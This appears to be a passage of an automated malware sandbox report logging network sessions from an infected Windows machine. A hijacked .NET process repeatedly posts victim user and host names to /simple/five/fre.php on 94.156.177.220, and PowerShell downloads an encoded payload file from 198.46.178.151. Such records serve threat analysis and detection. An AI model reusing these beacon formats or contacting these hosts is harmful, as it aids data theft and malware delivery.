Oct 30, 2024 07:53:38.281265020 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281398058 CET	636	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPe5jRrZjZCtmJaZmQr5kPKplMC9zN3c0IjszRnsyOH9yGDJkQCJkQCJkQCJkQCJkQCJkQCJkQCJkQCJkQCJkQCJkQ+v92oc63s4/2bT0E+AwFGGkQCJpQCp+1BgPASKAKBAd+CJk0XHA+AIkQCJkG5BM
Oct 30, 2024 07:53:38.286708117 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49176	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:40.565994024 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 176 Connection: close
Oct 30, 2024 07:53:40.571719885 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus258555ALBUS-PCk0DE4229FCF97F5879F50F8FD3vFCTb
Oct 30, 2024 07:53:41.531385899 CET	228	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49177	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:41.784998894 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 176 Connection: close
Oct 30, 2024 07:53:41.793798923 CET	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus258555ALBUS-PC+0DE4229FCF97F5879F50F8FD3EHTFF
Oct 30, 2024 07:53:42.777870893 CET	228	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49178	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:42.878993988 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:42.884566069 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:43.865000010 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49179	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:44.051202059 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:44.056555986 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:45.012325048 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49180	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:45.412120104 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:45.417574883 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:46.386841059 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49181	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:46.629470110 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:46.634814024 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:47.577194929 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49182	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:48.531375885 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:48.536668062 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:49.526093960 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49183	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:49.720951080 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:49.726273060 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:50.688256979 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49184	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:50.879466057 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:50.884887934 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:51.845865965 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49185	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:52.056183100 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:52.061619997 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:52.988898993 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49186	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:53.178982973 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:53.184556961 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:54.140491009 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49187	198.46.178.151	80	4032	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:53.778685093 CET	78	OUT	GET /65/SMPLLLK.txt HTTP/1.1 Host: 198.46.178.151 Connection: Keep-Alive
Oct 30, 2024 07:53:54.439841986 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:53:54 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 30 Oct 2024 04:21:22 GMT ETag: "22aac-625aa08c9575e" Accept-Ranges: bytes Content-Length: 141996 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439860106 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439879894 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439909935 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439924002 CET	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439935923 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439954996 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439969063 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
